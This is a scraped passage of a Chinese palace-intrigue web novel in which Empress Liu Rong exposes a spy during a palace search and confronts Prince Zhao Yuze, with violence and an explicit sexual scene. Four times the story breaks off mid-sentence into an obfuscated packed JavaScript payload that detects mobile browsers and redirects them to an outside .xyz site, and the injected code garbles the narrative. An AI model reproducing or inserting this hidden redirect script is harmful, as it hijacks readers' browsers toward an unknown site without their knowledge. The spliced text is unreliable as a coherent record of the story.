她不乞求彼此心意相通,惟愿他不要流散仅剩的侠骨仁心。 “做你想做的吧。”柳茸垂下手,飒飒秋风里,两袖灌风,看上去萧条一身。 方才还在狠狠瞪着她的人,突然发狠,猛地跑来。 柳茸心道不妙,正准备抽剑格挡一阵,结果,落入一派春日暖融。 迎来的不是他的泄恨,是略有些硌人的拥抱。 久违的气息,熟悉的体温,滚烫熨着她的身躯,一如围猎时扑入自己怀的猎犬。 他闷着头不说话,好似回到了一起到长安时,柳茸莞尔,摸上男人的头。 这下,自己有了个能彻底所用的臣。 薛不虞哑着嗓,将头低埋,“你不该骗我的。” “你若是再多骗一次……” “再多骗一次回怎样?” 他吼道:“再多骗一次,我就捅穿你的心!” “但是,”薛不虞咽了咽喉,“一想到你在皇城这几年……” “你最初在皇城里几年、在太极宫的日子一定不好过,还要顾及我母亲,而我回京一句过问也无,没问你这几年过得好不好,没有好言相向,不是在谈公务便是不遂你意,我就觉得,我也挺该捅的。” 其实想一想便明白了,她为何带那么多护卫随行,为何连饮茶都提心吊胆试毒,自己真的看不明白吗? 再愚笨的人也能看明,她在毫不掩饰她的处境之危,哪怕是要利用他的同情,但处境却是真的。 装作不愿与她多谈的每一刻,更漏催人,他五脏如火烤。 听到淑景殿走水那日,他不顾禁卫和手下,径直只身往她的身侧跑去,那一刻,对她的在意以盖过之前种种,唯他不愿面对心意。 许多的话,他没说出口。 耸起的肩在柳茸眼前起伏,胸口被熨帖地烫极,但是对方没有放开的意思。 “你不是说,今时今日不适合说与我真相吗?”不知隔了多久,薛不虞再次开口,“不是说时候未到吗?” “的确不适宜,但是方才有急报来,便适宜了。” 薛不虞立刻意识到,“你要赵玉则动手了?” 又问,“什么急报?” 柳茸笑而不语。 “若非能对着赵玉则那细脖子真真切切来上一刀,你是不会让我知晓母亲还在人世的。” “你愿意透露我真相,说明对赵玉则下手的时机要到了,对吗?” 薛不虞后知后觉,她是多么细心的人,没有十全把握不会行动。 “其实没有完全把握,我也会去闯一闯的。”柳茸道。 不为别人,为她自己,她这条命便是闯出来的。 不知过了多久,柳茸忽然皱眉。 是不是抱得有点久了? 她点点薛不虞的后背示意人放开,对方反倒桎得更严丝合缝。 “不放。”柳茸想开口,薛不虞提前拒绝,干脆的很。 好不容易抱住她,他蛮横:“你多狠心的女人,我一放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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饶是如此,薛不虞仍是用眼神将话直直刺给赵玉则。 旧人有旧人的好。 总比有人连旧人都不算好。 那片幂篱下的神容似乎没什么变化,对着柳茸作了个揖,依旧玉骨长立,儒雅俊秀。 “既然如此,那臣望自己能送娘娘一程,薛将军要回将军府,不若娘娘随臣同路如何?”赵玉则带了两列车,一列自己乘,一列空车。 由于是微服敬香,柳茸与随从皆是寻常打扮,头上别着寻常妇人的云纹簪。 她忽然发现,赵玉则的冠似乎也插了云纹簪,与自己的异曲同工。 只怕若是同行,叫人扯不清了。 “不必,薛将军会护送本宫。” “陈王殿下。” 赵玉则循着她的声抬头。 “况且殿下不善武吧?本宫惜命,若再有贼人来一次淑景殿行刺,恐怕殿下难保本宫安危了。” 49. 服从 赵玉则持伞的手轻捏伞柄。 心如抽条嫩芽,被钢刀横生折断,绵痒阵痛。 他如何听不出话中之意。 一个在淑景宫纵火之人说要护她周全…… 自己只会给她带来危险,不像她身边其他的男人,能在她跟前有上一席之地,与她同行,柳茸不信他是人之常情。虽说是常情,赵玉则一想这个念头心依旧不可控地抽动了下。 柳茸的车驾驶远。 他拂了拂一身素雅的衣裳,目光紧栓在一同上车的薛不虞身上,对柳茸远去的车驾作下一揖,良久扶正幂篱。 “回府。”赵玉则不耽搁,顷刻间收起心境。 “殿下,那台空车……” “带回去,先办豫州之事。” 豫州大旱严重,连着赵玉则的封地陈县在内大部分地区滴雨未下,赵玉则费心赈灾,太常寺卿将灾民所写请愿书呈入太极宫,呈于天子面前,柳茸身前。 “这个人,倒是会收买人心。”新帝揉揉眼诓。 请愿书一出,世人都能看出,是在逼天子让步,借民愿逼天子依他的想法而行,新帝的眉头越看越蹙。 这不是一仅是一场有关民愿是否达天听的书,而是一场暗潮汹涌的权势拉锯。 历朝历代的帝王都不打喜看到请愿书,此物一出无异于打脸,打天家的脸,何况还是由一个朝臣递入宫,明眼人皆看得出,这是明晃晃亮堂堂地公然左右皇帝的意思。 新帝正要动笔驳斥,一道不轻不重的力道捏住了笔管子。 “你有头绪?”新帝抬头看柳茸,她穿着湖蓝八破裙,鬓如松云。 柳茸:“就依请愿书上的去做。” 新帝薄唇张合,冷哼,“这次依一次,下次他们还敢来犯,往后开了这个口还得了?” 柳茸看向窗台,宫外琉璃瓦铺盖在万千皇城官舍,“呈书的是太常寺卿,陛下,你我都知道他背后是谁。” 那个头戴幂篱的男人从不自己露面让人抓把柄,他惯爱藏在朝堂之下,幕布之内。 “你若一时快意惩戒太常寺卿也不过是贬谪削官,失的却是豫州民心。” “那朕就该被、”话到口边新帝盯着她,生生改口,“朕就该被他一个赵玉则牵鼻子走?!” 柳茸平静地笑笑:“陛下,你该动笔了。” “来,我教陛下写。” 新染了指甲花的手覆在男人手背,一笔一划推着纸面。 “你……”兰麝扑鼻,天子耳廓一热。 “太常寺卿,赏。请愿书,交由六部执行,陛下钦点要员执行,太常寺卿念其有功,其父病重,准其告老还乡,其父……” 柳茸脸颊边的梨涡深了深,绛红的靥面陷进唇角,“亦有赏。” “太常寺卿的父亲不是好好的么?何来……”新帝默了,在柳茸颇有深意的神情下止住话。 沁凉的笔管点点他薄唇上的唇珠,“陛下聪明了。” 新帝摸上唇间被敲之处,片刻回神。 “朕从来聪明!” “其实还有句话,陛下日后当慎言。” “什么话?”他狭起眸子。 “‘下次他们还敢来犯’,”柳茸摇首,“百姓从来不是你的敌人,他们或许会被别有用心之徒引导,但他们所求之物是实实在在想要的,上天有德,陛下也应有德。” 太常寺卿此举,是上疏谏言的臣子的狂欢,但也无异于在暗射朝廷赈灾不仔细,圣心如渊,至少在帝王眼里,是自下而上的挑衅。 在民生上与对手碰硬是最下策。 “朕是看出来了,那赵玉则往豫州捐了不少粮,现在又鼓动太常寺卿。” “所以陛下若是为此事气了,才是真着了他的道,民怨起民心失,反倒更受他钳制。” “朕才没生气,是他们来气朕。”新帝犟嘴。 柳茸回了几句是,继续牵着他的手提笔写字。 少顷,帝王的另一只手覆在她提笔的手背,“幸好,朕还有爱妃。不愧是做过一州长史,也颇懂民心收买之道。” 他的语气晦暗不明,似乎是在褒赞,又浅浅掺杂了一层锐利刀锋。 柳茸装作听不懂,“陛下,要添墨了。” 不日,天子发诏,将请愿书榜示京城上下,大加封赏,上下同欲,然太常寺卿之父突发旧疾,于丁卯日卒,太常寺卿告老还乡,丁忧守陵。 柳茸几经周折,调换了天子钦点到豫州赈灾有功的官僚补上太常寺卿的空缺。 豫州的秋旱过去,很快也到了年关。 秋闱男女同考,大梁迎来了第一批女子为举人,国子监也开始着力从各地选拔女贡生,只是暂时成效甚微。 民间识字的人本就不多,民间女子识字读经的便更少,就算习字也多止步于作诗,难以接触到、也不曾读过治国策论。 百代的鸿沟需要时间去缩小,愈合。 柳茸趁着过冬将自己的食欲撑大,努力在天下权焰最强的地方活久点,不轻易殒命。 身披礼裙在两仪殿敬神时,竟有种背后有许多人的感觉,不止为她,为了许多人她也要活。 一股微妙的期待与求生欲从她心间小小迸发,柳茸抿唇一笑。 来年春闱便能选出贡士入朝为官了…… 相信不久,大梁朝堂或许会晕开一抹红妆,为一成不变的朝局新添绚丽的一笔。 只是眼下的年关对另一个人就没那么好过了。 薛不虞又要北上。 秋草黄时北地霜冻,蛮族常常南侵,薛不虞来后安生了些,如今隆冬大雪,他必须回边庭驻守。 “人人都能过年,我却不能过。”薛不虞偶尔抱怨,明明他才是最有苦劳的那位。 “那你想要什么礼?”柳茸问,她原本也送过薛不虞贺岁礼,可是一连几年都被退了回来。退回的理由多是忝受贺礼愧不敢当,但她明白这是他体面的说辞。 今年,或许他不会再拒绝自己了。 “我没什么想要的,你若真想送点我什么,就送赵玉则的项上人头吧。”他抛着路边的冻石,投入冰窟窿中。 是了,柳茸意识到,这个年关不好过的不止有有薛不虞,长安城里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259088|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有两个。 朝廷派去赈灾之人查出地方贪墨军饷,竟是发生在赵玉则所控军中,军官与当地长史贪了不少金银粮草,此举闹到御前,很不好看。 私吞军饷可是大忌,按军法当枭首示众,赵玉则没有保人。 军官死前咬定了是自己独吞,与赵玉则没有任何干系,央求陈王原谅。 军饷不会说吞就吞,赵玉则身处皇室,生来富贵,也不会为区区金银自损功名搭上前路。 “按我在军营的经验,他的军饷可没被私吞,还是用在军兵身上了。”薛不虞寒暄道,“只不过没用在朝廷的兵身上。” “赵玉则畜养私兵。”柳茸一语中的。 一声笑从低处传来。 “娘娘,慎言,”薛不虞摆了个噤声的手势,余光瞥向一侧,“说不定此时就有谁的耳目呢。” 从柳茸并不意外的神情上,薛不虞也猜出了七七八八,“你那日接的秘报便是这件事罢?” 男人坐在树下,虽然已不会像从前那样肆意蹿到树上,但眼眸升起与当年别无二致的揶揄。 看来得知母亲尚在人世的确令他到今日都欢欣。 “你哪来的人才能探听得如此仔细?正好举荐一番,也借臣军中一用?” 柳茸扫他一眼,他识相不语。 “人是我一手调的,不爱露面,举荐给将军他怕是不愿意。”她搪塞过去,薛不虞也不再多言。 “下臣告退了,娘娘,保重。” 一晌谈话结束,雪亭里腊梅已开,薛不虞想别离前再抱眼前的女子一次,动作刚出手,便成了跪姿。 他的膝盖与足尖在雪里留下几道坑痕。 虽然不久前冰释了少许的隔阂,但,一呼一吸间,低头下跪成了他对她自然的记忆,一如烙印,已刻进了他的每寸肤肌里。 仿佛在无声地昭告着,她为主,他为臣,哪怕他不想认,哪怕此举一出,饶是他自己也愣了一下。 薛不虞苦笑,换作从前的他,会跳起来泼柳茸一掌雪,现在他屈行着步,不再纠正下身的跪姿,直了直脊梁骨,毫无意见地离去。 “且慢。” 薛不虞回首,“娘娘有交代?” “离京前去一趟卧龙寺吧,”柳茸点着他,放缓了口吻,“你师父很想你。” 薛不虞抖抖斗篷,抖去一身寒意,勉力回给亭中的女子一个带暖意的神情。 “臣早就改信道门了。” 说是这么说,离京北上前,他还是去了卧龙寺。 借着买马鞍的由头,驱车从卧龙寺路过。 没有敲门,没有进去,隔着卷起的帘子匆匆看一眼,卧龙寺的光景便飞驰而过。 知晓城阳公主在里面便足够了,薛不虞有些惘思,没想到自己有天也做出了和柳茸一样的选择,不去打扰与暴露至亲。 长安到处都是眼睛,不知何时便会冒出来,最好的交集便是无交集。 他离京那日,雪落了一道,卧龙寺寺门紧闭,门前无脚印进,也无脚印出。 柳茸收到薛不虞的贺礼,是个同心结。 50. 搜宫 同心结上金线缠绕,如他亮出锋的剑鞘,金合欢在鞘身点缀。 收到薛不虞的同心结,柳茸在手中摩挲半刻,投入火中。 “浪费钱。”小青不痛不痒地评了一嘴。 柳茸笑盈盈问:“你今日的功课可温了?” 她像刺猬般碎步逃走,又被柳茸拖人叫回。 作为国子监第一批女弟子的预选,她的事柳茸没少上心,离如国子监还有些许时间,她愈发寡言少语,偶尔显出愁容来。 “怎了?过去不是叫嚷着定能入国子监的吗?” 小青欲言又止,“真要去吗?” 柳茸抬头凝她,她将眼转向一头,“……我跟脚不好。” 柳茸明了,她是在怕出身受人非议。 勾栏院的出身怎也不算好,受人诟病是常有的事。 小青这几年大了,不再如幼时般嚷嚷回勾栏院,该知晓的也都知晓,现在,她怕旁人去知晓。 对女子而言,进过一趟勾栏院,即使什么也不曾发生,也会饱受周围人非议,似乎永远也抬不起头来。 她们与士人,云泥之别。 柳茸摸着身下的椅子。 “阿姊的跟脚也不好,你看,我如今坐在哪把椅子上?” “可那是国子监……”小青小声嘟囔,似乎惧极了惯用笔墨的人。 柳茸替她拟了封信,“你明日去一趟国子监门前,替我转交此信。” “这是何物?” “你的退书。” 小青接过书的手一抖,一动不动。 “交了此书,国子监自会将你除名,你便不用入了。” “不行!”她红了眼眶。 “为何不行?既然你如此痛苦,我放你走,你的名额让渡他人也算一桩善举。” “这是我自己考的!我自己选上的,我不让!”为此她付出了几多日夜,自己心里清楚。 宁愿扔了也不给旁人。 “按国子监的规矩,你若除名必须在你之下替补一员。” “还是在我之下?”小青更听不得,要她让贤给不服的人比杀了她还不好受。 柳茸转过头,“你去不去?” “……去。”她声若蚊呐。 柳茸听不听,“不去?” “去!” 柳茸会心笑了。 “那本宫将信收好,你若有需随时来与本宫说。” 小青跑得比兔子还快。 柳茸吹熄烛火,沉郁的浊气呼出体,随烛而散。 如此不好的跟脚都能与许多士人跨进同一个门槛,怕是那些比小青出身好的人反倒要相形见绌才是。 该为此苦恼的从来不该是小青。 大吉殿内灯火刚熄,殿外脚步声由远及近。 柳茸听出是禁军的动静。 “发生何事?”柳茸问宫娥。 “回娘娘,是羽林中郎将何萧。” 羽林中郎将属宫内禁军,何萧还是自己一手提携,柳茸命人将所有殿门大开,“让他进来。” 一身盔甲的男人走上大吉殿,柳茸的身影在屏风内,隔着画纱,朦胧地不真切。 “何大人,深夜前来,所谓何事?” 来人在屏风外作揖,“下官奉旨搜宫,还望娘娘海涵。” “搜宫?” 屏风内,华服下的人如山峦巍峨起伏,从席上起身。 “这架势,本宫倒以为你们是来逼宫的。” “臣等无心叨扰娘娘,只是有贼人言娘娘高居后位与镇国大将军薛不虞有染,互通信物,特请搜宫以明娘娘清誉,正天下人心。” “望娘娘恩准。” 柳茸合眼,略略颔首,“谁说的?” 殿内死寂,冬风刮耳。 少顷,男人的声荡开来,“妄言之人乃少府监主簿李厂,已于府中自裁。” “一个从七品主簿,就能妄言本宫,还能让我大梁禁军为这等捕风捉影之事搜宫?”柳茸鼻端轻哼,“好大的面子。” “事关娘娘,臣不敢姑息。” 宫人意欲阻拦禁军,柳茸摇摇手,遣退宫人。 “你能入禁庭便说明陛下同意了吧。” 何萧拱起的脖子一梗。 柳茸声音紧接着落下:“可是疑心本宫寝殿里有什么见不得人的物什?” “不敢。”何萧神情肃然,“少府监主簿李厂曾于卧龙寺敬香,见有一人形似娘娘,与镇国大将军状若亲昵,故传非言,臣已命人拔去其舌,以儆效尤。” 拔舌是个好刑罚,从被发明出来就注定了它既可以让人多说些话,也可以让人不多说一个字。 “此事尚未传远,还望娘娘配合搜宫,以遏谣言。” “准,”柳茸微微点了一个字,“搜罢。” 何萧脸上浮过一丝愕然。 “不进来么?本宫让你们搜你们怎么反倒不敢了?” “那臣……得罪。” “不过,”柳茸发话,“本宫有个条件。” “什么条件?” “你们进来前本宫也要搜你们的身。” “娘娘是信不过臣?” “这也是在为大人着想,万一大人有东西落在了本宫寝殿,那就不好说了,你说是吧,何大人?” 柳茸不再不回答,静静僵持着。 何萧的脸色很不好看,良久挤出一句解衣。 一众男子齐刷刷解下蹀躞、官服、里袍,宫人一一查验。 “娘娘满意了?” “准。” 一行禁卫入了殿内,窣窣窸窸,铜枝灯幽幽煌煌,人影重叠。 柳茸见他的眉头越搜越深,两手空空,不免好心出言提醒,“何大人,是不是该搜搜本宫的榻底了?” “还是说何大人原本想搜出什么?” 何萧面色不显,加快动作,大吉殿几乎被翻了个底,连手笼里的灰也被倒出仔细翻查。 终于,何萧的目光聚焦在薰笼上。 同心结烧成了灰,但有金线在炭火间,映着烫红的光。 “娘娘的薰笼平日是放衣的,今日可是掉入什么物什?” “这个,要问本宫身边的女官了。她今日在此小坐,本宫也不知是什么。” 何萧像是抓住了锚点,“在娘娘的宫里娘娘不知是何物?” “何大人不若自己看看。”柳茸挑着下颌。 何萧狐疑地蹙眉,禁卫挑出金线。 “将军府外的酒肆多以金线缠同心结,娘娘莫不是要告诉臣这位女官有心仪之人,还将信物带至娘娘处,还不慎掉入娘娘衣覆的薰笼?” “大人,是……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273266|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么?” “是金丝。” 何萧当即要状告,禁卫紧接道:“是凤衣上的金丝。” 薰笼上的凤衣,俨然一个褐色窟窿。 柳茸的唇角假假扯了下,“大人搜完了?” 灯下,何萧人中已凝汗珠。 “轮到本宫问,大人答了。” 柳茸慢慢踱步,走出屏风,走近他。 “大人方才说什么,同心结?大人何以见得金线就一定是同心结上的呢?” 何萧低头不语。 柳茸拊掌两声,召来宫人。 “拖下去,仗刑。” 两旁禁卫被宫人带出。 只为一个莫须有的怀疑夜入宫闱,实为大忌,何萧也早已料到若搜不出证据至多受些仗刑。 但柳茸杖责一同入殿的禁卫,唯独留下了他。 宫墙上,她的影子缓缓地,挪动着,如松如柳,向着另一道半屈着身子的影子踱步。 两道影子交汇刹那,柳茸垂眸看着他,“赵玉则就是这样教你做事的?” 濡湿的嘲意。 何萧粟大的汗滴在石台,润入砖缝,一根冰凉的金属抬起他的下颌,是柳茸的玳瑁护甲。 尖锐的末梢钩地人皮肉生疼,何萧睁着眸忍住痛。 “本宫一直不懂本宫的行踪是谁卖的,今日你自己送上门,本宫就懂了。” “与陈王殿下无关,是臣一时听人传谣,忧心娘娘鬼迷心窍。”他咬死言辞。 “真的吗?”柳茸柔声和气,“既然如此忧心本宫,竟不找本宫商议而是找陛下?” “你身为宫卫,难道不清楚历朝以来若帝王真信此传闻,等待后妃的是何下场?” 何萧道:“陛下圣明,定会明查,允臣前来便是为娘娘着想。” “你以为陛下为何会准你入内?” 何萧一怔。 随即了然,皇帝的准许一开始便是柳茸的授意。 “你可是本宫带出来的人啊……” “是,臣是娘娘带出的人。”下巴间的护甲突然加重力道,何萧表情扭曲,“娘娘,求娘娘再信臣一回,臣不过秉公执法,娘娘当初宣臣不也是看重臣忠心无二?” 柳茸拍拍他的脸,“我一早便知你可疑,所以放在眼皮子底下。” 她不信任何人。 “赵玉则这次的动作还算快。”同心结刚被烧成灰,人就找上门。 但奈何他低估了小青的财迷性子。 如此值钱之物,早被扒出当到东市了,不可能留在宫中过夜。 “本宫还要多谢何大人,给本宫一个抓出内奸的机会。” 柳茸拍拍他的脸。 “娘娘……” “要对臣做什么?” “不是本宫要对你做什么,是他要对你做什么。” 他?何萧不得解,下巴上那层刮肉的护甲骤然一扯,柳茸收回了指尖,转向屏风之内,帷帐深处。 “陛下可看见了?此人要如何处置?” 灯亮人现。 新帝阴沉着一张脸,像风雨欲来的密云。 “杀了。” 柳茸卸下玳瑁护甲,“陛下不再审一审?说不定何大人要为自己喊冤呢。” 男人看殿内被摁住的人一眼,添道:“留全尸,送去陈王府。” 51. 交涉 尸体抬到陈王府时,赵玉则在后堂拜月。 灰白的尸体盖着白布在地上,脖间还留着血痕,赵玉则一身天青深衣,青玉长冠,侍僮扶着手腕而出。 “敢问可是出了何事?” 内庭阉官是同北衙禁卫一同来的,“陈王殿下,进府说罢,老奴也是为殿下的颜面考虑。” 见到来人手上的圣旨,赵玉则神色并不意外,掀开地上盖尸的白布一角,朝里撇了一眼。 “来人,抬进去。”赵玉则入内,一列人马随他入府。 陈王府祭月的银纸被火把照得雪亮,水榭间倒影着赵玉则淡笑理袍的身影,而后屈膝着地,拱手跪拜。 “陈王赵玉则听旨。” 阉官捧开圣旨,云宫内诸事。 羽林中郎将何萧与陈王勾连夜闯后寝,构陷皇后,已御前伏诛,府邸抄没,圣上罪责,念陈王从龙有功,特派兵遣归封地。 赵玉则静静听完对自己的宣判,淙淙清眸才恰时睁开。 “臣,接旨。” “陈王殿下,上路吧?” 他则不为所动。 “殿下可有辨言之处?” “有。”赵玉则垂下的头抬起,“臣想,见娘娘一面。” * 入夜飘雪,寝殿的轩窗被宫人用绵堵实,柳茸看着薛不虞在边关的信,一边挑着耳珰。 忽地珠帘清脆,一阵声音传进耳中。 入夜前来的人在珠帘外。 “此款适合娘娘。”玉般的手选起一条红玉耳珰,别在柳茸耳垂。 指尖若有似无地揉搓着即将离手的耳垂。 “陈王殿下。”柳茸叫出他,略带讽刺,“与其让何萧费尽心思搜宫,依本宫看,倒不如殿下亲自前来得容易,不是么?” “何必大费周章?” “娘娘在打趣,臣怎会做这等事。”赵玉则语气委婉,“臣与禁军从无往来,枉受不白之冤,还要请娘娘明查呢。” 彼此心知肚明打着哑迷。 “本宫若是明查只会把你推出去,也好教天下人都知道知道,本宫的奸|夫另有其人。” “如何?”柳茸捏住他靠在脖上的脸。 “奸夫是臣?”赵玉则面颊浮起一层浅粉,“那当真是谢娘娘恩典。” 听罢,柳茸捏着他脸的手一甩,松开禁锢,男人通畅着呼吸狠咳了几声,捧住心口。 他偏过的脸久久凝着地,气息低迷。 “为何……” 柳茸察觉到不对,“殿下想说什么?” “……为何”他细语呢喃,“……今夜臣来,许多暗道堵死了,臣寻了好久,好久……” “是臣无法取悦娘娘了?还是娘娘替代臣的人?”赵玉则眼中是微微嗔意,言语透着埋怨,青丝披散在他宽肩,沐发薰就的草药香若隐若现。 “本宫也没法子,谁让本宫的宫,有人能轻易说搜就搜了呢。倒是提醒了本宫,你日后少些来,免得落人口实。” 赵玉则面色一变,脚背如遭石砸般作痛。 “但是娘娘留了最后一道暗门给臣,直通娘娘寝宫。”他想想,替她梳拢起肩发,“臣感激不尽。” “赵玉则,”柳茸挑起他的下巴,“你是真感激不尽,还是庆幸自己还能牵住我?” 那双眼眸清澈见底,却让人看不透,也猜不透,只是朝柳茸露出如花笑靥,“娘娘想是什么?” “娘娘国色天香,臣情难自抑,仰慕赞拜,不想娘娘却要弃臣而去,还与旁人……”他缄默片刻。 “与旁人旧情复燃?”柳茸替他接过话尾,他的缄默更深。 最后道:“娘娘与我在一起不喜欢?” “喜欢,不过本宫可高攀不起陈王妃的位置。”她一笑,见赵玉则的脸色变得更差。 “相信殿下也不喜一直与人苟|且,不如就此了断,择日,本宫替你做媒寻一门亲可好?” 他将头从她手中,轻轻挪开,退至在柳茸身后。 一道影子,慢慢爬上了她映在墙上的乌影,先是手臂,再到肩头,而后彻底覆住了她的影子。 清丽的面容不见怒颜,声音里却暴露一丝藏不住的愠色,细微得令人容易忽略,“娘娘,是真想替臣寻亲事,还是想在臣身边安插人手?” “那你说,你与我何曾坦诚过?”柳茸问。 “你若是与本宫坦诚相待,本宫会更喜欢你,可惜。” 她摸上那张无双的脸根根分明的细眉。 “何萧一事令本宫想好,你我的确该断了干系,对谁都好,若日后再有人查,万一真查到陈王殿下如何是好?” 她深知赵玉则不会让人查到他自己身上,其他人也不会特意捕风捉影查宫内秘辛,故意说出此话,好整以暇地观着,他的反应着实令她生趣。 “本宫再问一遍,何萧,是不是你的人?” “我的人不正是娘娘的人?” 一句模棱两可的答复,说出唇怎也品不尽的风情。 “宫外酒肆的掌柜也是本宫的人?” 赵玉则的动作微顿。 “本宫长安城有家卖同心结的酒肆,本宫几竟不知他何时成了陈王为本宫准备的人了。” “……娘娘说的话,臣有些听不懂。”他道:“宫外之事,臣甚少涉猎。” “本宫很想知晓这到底还有多少是你的人。” “从前以为陈王陛下是想要大权在握,一人之下,后来以为陈王陛下是想要为母妃翻案,如今做到皇后,倒是越发看不透你了。” “真的?”赵玉则轻笑一下,“那看来臣还是不教娘娘看透的好,娘娘看透了,就对臣失了兴致。” “届时臣该如何活?” “不如何活,自然是送去封地。” 已经摸到柳茸带勾的手缓慢停住,就差一口气,吊在半空,“那道命我出京守封地的旨意是你的意思?” “喜欢吗?若你不满意,还可以换别的,比如将殿下调到边庭,想留下也成,听陛下的意思娶个良家女,打消圣人猜忌。” “圣人猜忌……”赵玉则解着她的带勾。 一个傀儡般的帝王,能有什么猜忌左右事物。 “我与内礼官说要见你,他们回绝了我,你连见我一面也不给,不得已,亲自来寻你,暗道还被堵住了,娘娘好狠的心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297465|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈王殿下可是要娶良家女为妃的人,整日来本宫一介贱籍出身的皇后宫里,本宫实在不堪相配。” 旧事重提,赵玉则一时上了气血,“你、娘娘……就真的要赶臣走?” “不早了,明日你要上路,最好速速离去,这也是陛下的意思。” 柳茸抽身离去。 身后的人像根木桩子,突然动了,却是乍然搂住不留情面离去的她。 带勾应声而落。 他像是在用身|体极尽取悦、勾留她,但缠绵床榻间,抬眸看见她不为所动的神情,顿觉一股没由来又火大的泄气,便更加卖力。 “陛下的意思?”他不甘心抵住她的额。 “那娘娘留一条暗道给臣,也是陛下授意?” “你明知我会做什么,就如现在。”他双目含恨,却在说完后,见身下的人斜倚的身子,半眯的眼底透露一丝轻描淡写的蔑意。 不对,她是明知自己会做什么,所以留下一条唯一一条给他,她知道哪怕她拒绝了自己也会自主贴上前,执意来寻她。 那些被堵死的暗道像一道道嘲笑砌成的墙,成了对他亲王之躯的讽刺,堵死多少他便找了多少,试了千万次也没想过转头离开。 在床榻上想通迟来又刻意的羞辱,这份羞辱将伴随身躯的极乐一同刻进任何男人骨髓。 赵玉则涨红着眼尾,想从帷帐中退出,但五体犹如中毒地无法停下。 他清醒着,理智着,被她牵引着,看自己的身躯沉沦。 终于,在某个节点来临,他如沐浴春水,被暖泉洗刷,深藏体内的一点理智勉强把控住一只手,抽出彼此身下的了事帕。 “娘娘,你看,”他拿到她眼前,“你也喜欢臣的身子,至少你的身子是喜欢的。” 帕上的痕迹证明着他们的同污。 “臣若离京,娘娘可再也品不到这具身体了,当真舍得?” “那陈王给本宫举荐一二?”柳茸不吃他的攀情,“不是说你的人就是本宫的人?” 激人反被激。 赵玉则的心揪紧,以己之矛攻己之盾的气郁漫遍五脏六腑,禁不住加快动作。 在浪潮将尽时,他听见耳边女子的声音,不大不小,足以令他每个字。 “忍住,本宫可不想怀上你的孩子。” 玉雕的面容刹那怔住。 想说什么,一个字也说不出口。 直到兰灯耗进,轻烟散入停歇的帘帐,夜风吹干柳茸的湿法。 这夜赵玉则没有走,他过往从不留宿,今夜偏偏在她榻下宿眠。 “醒了?”柳茸听见被中窸窣。 赵玉则正惺忪着眼,夜黑风高,他拉起掉下的领口。 “臣今夜伺候得娘娘可满意?” 一把刀在夜里亮着寒光,赵玉则感受到杀气至。 床榻上没有柳茸,了事帕也不翼而飞,宛如从来只有他。 再往伸手不见五指的帷帐外望去,一个个暗卫已将床帐围住,密不透风圈住。 “娘娘这是何意?” 柳茸的身姿从殿柱现出。 “你猜为何本宫会留一条暗道让你来?” 52. 赴宴 “娘娘,你我之间何至于此?”赵玉则在榻上,换了个舒适的姿势。 “绑住他。”柳茸道。 暗卫将人绑住,赵玉则没做任何挣扎。 将人捆紧拖至地上,数道身影隐匿不见,禁军入内替代了原本在床前的暗卫。 一人上前,向柳茸呈上一本录事簿,她抬腕接过,居高临下看着赵玉则,“陈王殿下畜募私军,私潜入宫意图行刺,怎么说?” “那臣只能交代私潜入宫是有别的目的了。”赵玉则略微刻意地展示身上未褪的绯红。 “堵上他的嘴。” “不用娘娘费心,”他笑靥弯弯,“臣自己堵。” 说罢,叼住地上的衣物,意味非常。 柳茸眼眸一扫,禁军从他口中扯过衣物,包着石的布块堵上他的嘴。 “本宫要审他。”柳茸发话,赵玉则口中的堵物又被撤出,他清咳几声。 “娘娘想审什么?” “自然是陈王殿下在雍州囤集私军一事。”柳茸将收到密信在手中掂了掂。 赵玉则轻笑:“原来娘娘都查到这地步了啊。” “按《大梁律》,王与郡王府兵不得过百,封地私兵不得过千,如有超者,剥皮实草。” 柳茸款款踱步,“虽说陛下践祚前各路候王募集私兵不在少数,律法渐驰,然今天子在朝,陈王殿下仍在屯兵,是不是该给解释?” “还是说殿下,要反吗?” 谋反是顶好由头,再权焰滔天的权臣都忌讳与这个词扯上关系,这是一个能令任何诛杀都师出有名的血词。 